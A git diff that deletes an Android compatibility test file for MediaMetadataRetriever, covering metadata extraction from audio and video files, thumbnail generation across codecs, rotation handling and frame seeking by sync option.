diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
deleted file mode 100644
index 20d0f50..0000000
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ /dev/null
@@ -1,1301 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.MediaMetadataRetriever.OPTION_CLOSEST;
-import static android.media.MediaMetadataRetriever.OPTION_CLOSEST_SYNC;
-import static android.media.MediaMetadataRetriever.OPTION_NEXT_SYNC;
-import static android.media.MediaMetadataRetriever.OPTION_PREVIOUS_SYNC;
-
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.hardware.display.DisplayManager;
-import android.media.MediaDataSource;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
-import android.os.ParcelFileDescriptor;
-import android.net.Uri;
-import android.os.Build;
-import android.os.Environment;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.view.Display;
-
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.Closeable;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.function.Function;
-
-@Presubmit
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "No interaction with system server")
-public class MediaMetadataRetrieverTest extends AndroidTestCase {
-    private static final String TAG = "MediaMetadataRetrieverTest";
-    private static final boolean SAVE_BITMAP_OUTPUT = false;
-    private static final String TEST_MEDIA_FILE = "retriever_test.3gp";
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    protected MediaMetadataRetriever mRetriever;
-    private PackageManager mPackageManager;
-
-    protected static final int SLEEP_TIME = 1000;
-    private static int BORDER_WIDTH = 16;
-    private static Color COLOR_BLOCK =
-            Color.valueOf(1.0f, 1.0f, 1.0f);
-    private static Color[] COLOR_BARS = {
-            Color.valueOf(0.0f, 0.0f, 0.0f),
-            Color.valueOf(0.0f, 0.0f, 0.64f),
-            Color.valueOf(0.0f, 0.64f, 0.0f),
-            Color.valueOf(0.0f, 0.64f, 0.64f),
-            Color.valueOf(0.64f, 0.0f, 0.0f),
-            Color.valueOf(0.64f, 0.0f, 0.64f),
-            Color.valueOf(0.64f, 0.64f, 0.0f),
-    };
-    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mRetriever = new MediaMetadataRetriever();
-        mPackageManager = getContext().getPackageManager();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mRetriever.release();
-        File file = new File(Environment.getExternalStorageDirectory(), TEST_MEDIA_FILE);
-        if (file.exists()) {
-            file.delete();
-        }
-    }
-
-    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        File inpFile = new File(mInpPrefix + res);
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    protected void setDataSourceFd(final String res) {
-        try {
-            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-            mRetriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-            afd.close();
-        } catch (Exception e) {
-            fail("Unable to open file");
-        }
-    }
-
-    protected TestMediaDataSource setDataSourceCallback(final String res) {
-        TestMediaDataSource ds = null;
-        try {
-            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-            ds = TestMediaDataSource.fromAssetFd(afd);
-            mRetriever.setDataSource(ds);
-        } catch (Exception e) {
-            fail("Unable to open file");
-        }
-        return ds;
-    }
-
-    protected TestMediaDataSource getFaultyDataSource(final String res, boolean throwing) {
-        TestMediaDataSource ds = null;
-        try {
-            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-            ds = TestMediaDataSource.fromAssetFd(afd);
-            if (throwing) {
-                ds.throwFromReadAt();
-            } else {
-                ds.returnFromReadAt(-2);
-            }
-        } catch (Exception e) {
-            fail("Unable to open file");
-        }
-        return ds;
-    }
-
-    public void testAudioMetadata() {
-        setDataSourceCallback("audio_with_metadata.mp3");
-
-        assertEquals("Title was other than expected",
-            "Chimey Phone",
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
-
-        assertEquals("Artist was other than expected",
-            "Some artist",
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ARTIST));
-
-        assertNull("Album artist was unexpectedly present",
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
-
-        assertNull("Author was unexpectedly present",
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
-
-        assertNull("Composer was unexpectedly present",
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
-
-        assertEquals("Number of tracks was other than expected",
-            "1",
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
-
-        assertEquals("Has audio was other than expected",
-            "yes",
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
-
-        assertEquals("Mime type was other than expected",
-            "audio/mpeg",
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-    }
-
-    public void test3gppMetadata() {
-        setDataSourceCallback("testvideo.3gp");
-
-        assertEquals("Title was other than expected",
-                "Title", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
-
-        assertEquals("Artist was other than expected",
-                "UTF16LE エンディアン ",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ARTIST));
-
-        assertEquals("Album was other than expected",
-                "Test album",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM));
-
-        assertNull("Album artist was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
-
-        assertNull("Author was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
-
-        assertNull("Composer was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
-
-        assertEquals("Track number was other than expected",
-                "10",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CD_TRACK_NUMBER));
-
-        assertNull("Disc number was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DISC_NUMBER));
-
-        assertNull("Compilation was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPILATION));
-
-        assertEquals("Year was other than expected",
-                "2013", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_YEAR));
-
-        assertEquals("Date was other than expected",
-                "19040101T000000.000Z",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DATE));
-
-        assertEquals("Bitrate was other than expected",
-                "365018",  // = 504045 (file size in byte) * 8e6 / 11047000 (duration in us)
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITRATE));
-
-        assertNull("Capture frame rate was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE));
-
-        assertEquals("Duration was other than expected",
-                "11047",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION));
-
-        assertEquals("Number of tracks was other than expected",
-                "4",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
-
-        assertEquals("Has audio was other than expected",
-                "yes",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
-
-        assertEquals("Has video was other than expected",
-                "yes",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO));
-
-        assertEquals("Video frame count was other than expected",
-                "172",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT));
-
-        assertEquals("Video height was other than expected",
-                "288",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
-
-        assertEquals("Video width was other than expected",
-                "352",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
-
-        assertEquals("Video rotation was other than expected",
-                "0",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
-
-        assertEquals("Mime type was other than expected",
-                "video/mp4",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-
-        assertNull("Location was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-
-        assertNull("EXIF length was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_LENGTH));
-
-        assertNull("EXIF offset was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_OFFSET));
-
-        assertNull("Writer was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
-    }
-
-    public void testID3v2Metadata() {
-        setDataSourceFd(
-                "video_480x360_mp4_h264_500kbps_25fps_aac_stereo_128kbps_44100hz_id3v2.mp4");
-
-        assertEquals("Title was other than expected",
-                "Title", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
-
-        assertEquals("Artist was other than expected",
-                "UTF16LE エンディアン ",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ARTIST));
-
-        assertEquals("Album was other than expected",
-                "Test album",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM));
-
-        assertNull("Album artist was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
-
-        assertNull("Author was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
-
-        assertNull("Composer was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
-
-        assertEquals("Track number was other than expected",
-                "10",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CD_TRACK_NUMBER));
-
-        assertNull("Disc number was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DISC_NUMBER));
-
-        assertNull("Compilation was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPILATION));
-
-        assertEquals("Year was other than expected",
-                "2013", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_YEAR));
-
-        assertEquals("Date was other than expected",
-                "19700101T000000.000Z",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DATE));
-
-        assertEquals("Bitrate was other than expected",
-                "499895",  // = 624869 (file size in byte) * 8e6 / 10000000 (duration in us)
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITRATE));
-
-        assertNull("Capture frame rate was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE));
-
-        assertEquals("Duration was other than expected",
-                "10000",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION));
-
-        assertEquals("Number of tracks was other than expected",
-                "2",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
-
-        assertEquals("Has audio was other than expected",
-                "yes",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
-
-        assertEquals("Has video was other than expected",
-                "yes",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO));
-
-        assertEquals("Video frame count was other than expected",
-                "240",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT));
-
-        assertEquals("Video height was other than expected",
-                "360",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
-
-        assertEquals("Video width was other than expected",
-                "480",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
-
-        assertEquals("Video rotation was other than expected",
-                "0",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
-
-        assertEquals("Mime type was other than expected",
-                "video/mp4",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-
-        assertNull("Location was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-
-        assertNull("EXIF length was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_LENGTH));
-
-        assertNull("EXIF offset was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_OFFSET));
-
-        assertNull("Writer was unexpectedly present",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
-    }
-
-    public void testID3v2Unsynchronization() {
-        setDataSourceFd("testmp3_4.mp3");
-        assertEquals("Mime type was other than expected",
-                "audio/mpeg",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-    }
-
-    public void testID3v240ExtHeader() {
-        if(!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
-            // The fix for b/154357105 was released in mainline release 30.09.007.01
-            // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11174063
-            if (TestUtils.skipTestIfMainlineLessThan("com.google.android.media", 300900701)) {
-                return;
-            }
-        }
-        setDataSourceFd("sinesweepid3v24ext.mp3");
-        assertEquals("Mime type was other than expected",
-                "audio/mpeg",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-        assertEquals("Title was other than expected",
-                "sinesweep",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
-        assertNotNull("no album art",
-                mRetriever.getEmbeddedPicture());
-    }
-
-    public void testID3v230ExtHeader() {
-        setDataSourceFd("sinesweepid3v23ext.mp3");
-        assertEquals("Mime type was other than expected",
-                "audio/mpeg",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-        assertEquals("Title was other than expected",
-                "sinesweep",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
-        assertNotNull("no album art",
-                mRetriever.getEmbeddedPicture());
-    }
-
-    public void testID3v230ExtHeaderBigEndian() {
-        setDataSourceFd("sinesweepid3v23extbe.mp3");
-        assertEquals("Mime type was other than expected",
-                "audio/mpeg",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-        assertEquals("Title was other than expected",
-                "sinesweep",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
-        assertNotNull("no album art",
-                mRetriever.getEmbeddedPicture());
-    }
-
-    public void testMp4AlbumArt() {
-        setDataSourceFd("swirl_128x128_h264_albumart.mp4");
-        assertEquals("Mime type was other than expected",
-                "video/mp4",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-        assertNotNull("no album art",
-                mRetriever.getEmbeddedPicture());
-    }
-
-    public void testGenreParsing() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        Object [][] genres = {
-            { "id3test0.mp3", null },
-            { "id3test1.mp3", "Country" },
-            { "id3test2.mp3", "Classic Rock, Android" },
-            { "id3test3.mp3", null },
-            { "id3test4.mp3", "Classic Rock, (Android)" },
-            { "id3test5.mp3", null },
-            { "id3test6.mp3", "Funk, Grunge, Hip-Hop" },
-            { "id3test7.mp3", null },
-            { "id3test8.mp3", "Disco" },
-            { "id3test9.mp3", "Cover" },
-            { "id3test10.mp3", "Pop, Remix" },
-            { "id3test11.mp3", "Remix" },
-        };
-        for (Object [] genre: genres) {
-            setDataSourceFd((String)genre[0] /* resource id */);
-            assertEquals("Unexpected genre: ",
-                    genre[1] /* genre */,
-                    mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_GENRE));
-        }
-    }
-
-    public void testBitsPerSampleAndSampleRate() {
-        setDataSourceFd("testwav_16bit_44100hz.wav");
-
-        assertEquals("Bits per sample was other than expected",
-                "16",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITS_PER_SAMPLE));
-
-        assertEquals("Sample rate was other than expected",
-                "44100",
-                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_SAMPLERATE));
-
-    }
-
-    public void testGetEmbeddedPicture() {
-        setDataSourceFd("largealbumart.mp3");
-
-        assertNotNull("couldn't retrieve album art", mRetriever.getEmbeddedPicture());
-    }
-
-    public void testAlbumArtInOgg() throws Exception {
-        setDataSourceFd("sinesweepoggalbumart.ogg");
-        assertNotNull("couldn't retrieve album art from ogg", mRetriever.getEmbeddedPicture());
-    }
-
-    public void testSetDataSourcePath() {
-        copyMediaFile();
-        File file = new File(Environment.getExternalStorageDirectory(), TEST_MEDIA_FILE);
-        try {
-            mRetriever.setDataSource(file.getAbsolutePath());
-        } catch (Exception ex) {
-            fail("Failed setting data source with path, caught exception:" + ex);
-        }
-    }
-
-    public void testSetDataSourceUri() {
-        copyMediaFile();
-        File file = new File(Environment.getExternalStorageDirectory(), TEST_MEDIA_FILE);
-        try {
-            Uri uri = Uri.parse(file.getAbsolutePath());
-            mRetriever.setDataSource(getContext(), uri);
-        } catch (Exception ex) {
-            fail("Failed setting data source with Uri, caught exception:" + ex);
-        }
-    }
-
-    public void testSetDataSourceNullPath() {
-        try {
-            mRetriever.setDataSource((String)null);
-            fail("Expected IllegalArgumentException.");
-        } catch (IllegalArgumentException ex) {
-            // Expected, test passed.
-        }
-    }
-
-    public void testSetDataSourceNullUri() {
-        try {
-            mRetriever.setDataSource(getContext(), (Uri)null);
-            fail("Expected IllegalArgumentException.");
-        } catch (IllegalArgumentException ex) {
-            // Expected, test passed.
-        }
-    }
-
-    public void testNullMediaDataSourceIsRejected() {
-        try {
-            mRetriever.setDataSource((MediaDataSource)null);
-            fail("Expected IllegalArgumentException.");
-        } catch (IllegalArgumentException ex) {
-            // Expected, test passed.
-        }
-    }
-
-    public void testMediaDataSourceIsClosedOnRelease() throws Exception {
-        TestMediaDataSource dataSource = setDataSourceCallback("testvideo.3gp");
-        mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE);
-        mRetriever.release();
-        assertTrue(dataSource.isClosed());
-    }
-
-    public void testRetrieveFailsIfMediaDataSourceThrows() throws Exception {
-        TestMediaDataSource ds = getFaultyDataSource("testvideo.3gp", true /* throwing */);
-        try {
-            mRetriever.setDataSource(ds);
-            fail("Failed to throw exceptions");
-        } catch (RuntimeException e) {
-            assertTrue(mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE) == null);
-        }
-    }
-
-    public void testRetrieveFailsIfMediaDataSourceReturnsAnError() throws Exception {
-        TestMediaDataSource ds = getFaultyDataSource("testvideo.3gp", false /* throwing */);
-        try {
-            mRetriever.setDataSource(ds);
-            fail("Failed to throw exceptions");
-        } catch (RuntimeException e) {
-            assertTrue(mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE) == null);
-        }
-    }
-
-    private void testThumbnail(final String res, int targetWdith, int targetHeight) {
-        testThumbnail(res, null /*outPath*/, targetWdith, targetHeight);
-    }
-
-    private void testThumbnail(final String res, String outPath, int targetWidth,
-            int targetHeight) {
-        Stopwatch timer = new Stopwatch();
-
-        setDataSourceFd(res);
-
-        if (!MediaUtils.hasCodecForResourceAndDomain(res, "video/")) {
-            MediaUtils.skipTest("no video codecs for resource");
-            return;
-        }
-
-        timer.start();
-        Bitmap thumbnail = mRetriever.getFrameAtTime(-1 /* timeUs (any) */);
-        timer.end();
-        timer.printDuration("getFrameAtTime");
-
-        assertNotNull(thumbnail);
-
-        // Verifies bitmap width and height.
-        assertEquals("Video width was other than expected", Integer.toString(targetWidth),
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
-        assertEquals("Video height was other than expected", Integer.toString(targetHeight),
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
-
-        // save output file if needed
-        if (outPath != null) {
-            FileOutputStream out = null;
-            try {
-                out = new FileOutputStream(outPath);
-            } catch (FileNotFoundException e) {
-                fail("Can't open output file");
-            }
-
-            thumbnail.compress(Bitmap.CompressFormat.PNG, 100, out);
-
-            try {
-                out.flush();
-                out.close();
-            } catch (IOException e) {
-                fail("Can't close file");
-            }
-        }
-    }
-
-    public void testThumbnailH264() {
-        testThumbnail(
-                "bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz.mp4",
-                1280,
-                720);
-    }
-
-    public void testThumbnailH263() {
-        testThumbnail("video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp", 176, 144);
-    }
-
-    public void testThumbnailMPEG4() {
-        testThumbnail(
-                "video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                1280,
-                720);
-    }
-
-    public void testThumbnailVP8() {
-        testThumbnail(
-                "bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm",
-                640,
-                360);
-    }
-
-    public void testThumbnailVP9() {
-        testThumbnail(
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                640,
-                360);
-    }
-
-    public void testThumbnailHEVC() {
-        testThumbnail(
-                "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
-                720,
-                480);
-    }
-
-    public void testThumbnailVP9Hdr() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-
-        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-        int numberOfSupportedHdrTypes =
-            displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
-                .getSupportedHdrTypes().length;
-
-        if (numberOfSupportedHdrTypes == 0) {
-            MediaUtils.skipTest("No supported HDR display type");
-            return;
-        }
-
-        testThumbnail("video_1280x720_vp9_hdr_static_3mbps.mkv", 1280, 720);
-    }
-
-    public void testThumbnailAV1Hdr() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-
-        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-        int numberOfSupportedHdrTypes =
-            displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
-                .getSupportedHdrTypes().length;
-
-        if (numberOfSupportedHdrTypes == 0) {
-            MediaUtils.skipTest("No supported HDR display type");
-            return;
-        }
-
-        testThumbnail("video_1280x720_av1_hdr_static_3mbps.webm", 1280, 720);
-    }
-
-    public void testThumbnailHDR10() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-
-        testThumbnail("video_1280x720_hevc_hdr10_static_3mbps.mp4", 1280, 720);
-    }
-
-    private void testThumbnailWithRotation(final String res, int targetRotation) {
-        Stopwatch timer = new Stopwatch();
-
-        setDataSourceFd(res);
-
-        if (!MediaUtils.hasCodecForResourceAndDomain(res, "video/")) {
-            MediaUtils.skipTest("no video codecs for resource");
-            return;
-        }
-
-        assertEquals("Video rotation was other than expected", Integer.toString(targetRotation),
-            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
-
-        timer.start();
-        Bitmap thumbnail = mRetriever.getFrameAtTime(-1 /* timeUs (any) */);
-        timer.end();
-        timer.printDuration("getFrameAtTime");
-
-        verifyVideoFrameRotation(thumbnail, targetRotation);
-    }
-
-    public void testThumbnailWithRotation() {
-        String[] res = {"video_h264_mpeg4_rotate_0.mp4", "video_h264_mpeg4_rotate_90.mp4",
-                "video_h264_mpeg4_rotate_180.mp4", "video_h264_mpeg4_rotate_270.mp4"};
-        int[] targetRotations = {0, 90, 180, 270};
-        for (int i = 0; i < res.length; i++) {
-            testThumbnailWithRotation(res[i], targetRotations[i]);
-        }
-    }
-
-    /**
-     * The following tests verifies MediaMetadataRetriever.getFrameAtTime behavior.
-     *
-     * We use a simple stream with binary counter at the top to check which frame
-     * is actually captured. The stream is 30fps with 600 frames in total. It has
-     * I/P/B frames, with I interval of 30. Due to the encoding structure, pts starts
-     * at 66666 (instead of 0), so we have I frames at 66666, 1066666, ..., etc..
-     *
-     * For each seek option, we check the following five cases:
-     *     1) frame time falls right on a sync frame
-     *     2) frame time is near the middle of two sync frames but closer to the previous one
-     *     3) frame time is near the middle of two sync frames but closer to the next one
-     *     4) frame time is shortly before a sync frame
-     *     5) frame time is shortly after a sync frame
-     */
-    public void testGetFrameAtTimePreviousSync() {
-        int[][] testCases = {
-                { 2066666, 60 }, { 2500000, 60 }, { 2600000, 60 }, { 3000000, 60 }, { 3200000, 90}};
-        testGetFrameAtTime(OPTION_PREVIOUS_SYNC, testCases);
-    }
-
-    public void testGetFrameAtTimeNextSync() {
-        int[][] testCases = {
-                { 2066666, 60 }, { 2500000, 90 }, { 2600000, 90 }, { 3000000, 90 }, { 3200000, 120}};
-        testGetFrameAtTime(OPTION_NEXT_SYNC, testCases);
-    }
-
-    public void testGetFrameAtTimeClosestSync() {
-        int[][] testCases = {
-                { 2066666, 60 }, { 2500000, 60 }, { 2600000, 90 }, { 3000000, 90 }, { 3200000, 90}};
-        testGetFrameAtTime(OPTION_CLOSEST_SYNC, testCases);
-    }
-
-    public void testGetFrameAtTimeClosest() {
-        int[][] testCases = {
-                { 2066666, 60 }, { 2500001, 73 }, { 2599999, 76 }, { 3016000, 88 }, { 3184000, 94}};
-        testGetFrameAtTime(OPTION_CLOSEST, testCases);
-    }
-
-    public void testGetFrameAtTimePreviousSyncEditList() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        int[][] testCases = {
-                { 2000000, 60 }, { 2433334, 60 }, { 2533334, 60 }, { 2933334, 60 }, { 3133334, 90}};
-        testGetFrameAtTimeEditList(OPTION_PREVIOUS_SYNC, testCases);
-    }
-
-    public void testGetFrameAtTimeNextSyncEditList() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        int[][] testCases = {
-                { 2000000, 60 }, { 2433334, 90 }, { 2533334, 90 }, { 2933334, 90 }, { 3133334, 120}};
-        testGetFrameAtTimeEditList(OPTION_NEXT_SYNC, testCases);
-    }
-
-    public void testGetFrameAtTimeClosestSyncEditList() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        int[][] testCases = {
-                { 2000000, 60 }, { 2433334, 60 }, { 2533334, 90 }, { 2933334, 90 }, { 3133334, 90}};
-        testGetFrameAtTimeEditList(OPTION_CLOSEST_SYNC, testCases);
-    }
-
-    public void testGetFrameAtTimeClosestEditList() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        int[][] testCases = {
-                { 2000000, 60 }, { 2433335, 73 }, { 2533333, 76 }, { 2949334, 88 }, { 3117334, 94}};
-        testGetFrameAtTimeEditList(OPTION_CLOSEST, testCases);
-    }
-
-    public void testGetFrameAtTimePreviousSyncEmptyNormalEditList() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        int[][] testCases = {
-                { 2133000, 60 }, { 2566334, 60 }, { 2666334, 60 }, { 3100000, 60 }, { 3266000, 90}};
-        testGetFrameAtTimeEmptyNormalEditList(OPTION_PREVIOUS_SYNC, testCases);
-    }
-
-    public void testGetFrameAtTimeNextSyncEmptyNormalEditList() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        int[][] testCases = {{ 2000000, 60 }, { 2133000, 60 }, { 2566334, 90 }, { 3100000, 90 },
-                { 3200000, 120}};
-        testGetFrameAtTimeEmptyNormalEditList(OPTION_NEXT_SYNC, testCases);
-    }
-
-    public void testGetFrameAtTimeClosestSyncEmptyNormalEditList() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        int[][] testCases = {
-                { 2133000, 60 }, { 2566334, 60 }, { 2666000, 90 }, { 3133000, 90 }, { 3200000, 90}};
-        testGetFrameAtTimeEmptyNormalEditList(OPTION_CLOSEST_SYNC, testCases);
-    }
-
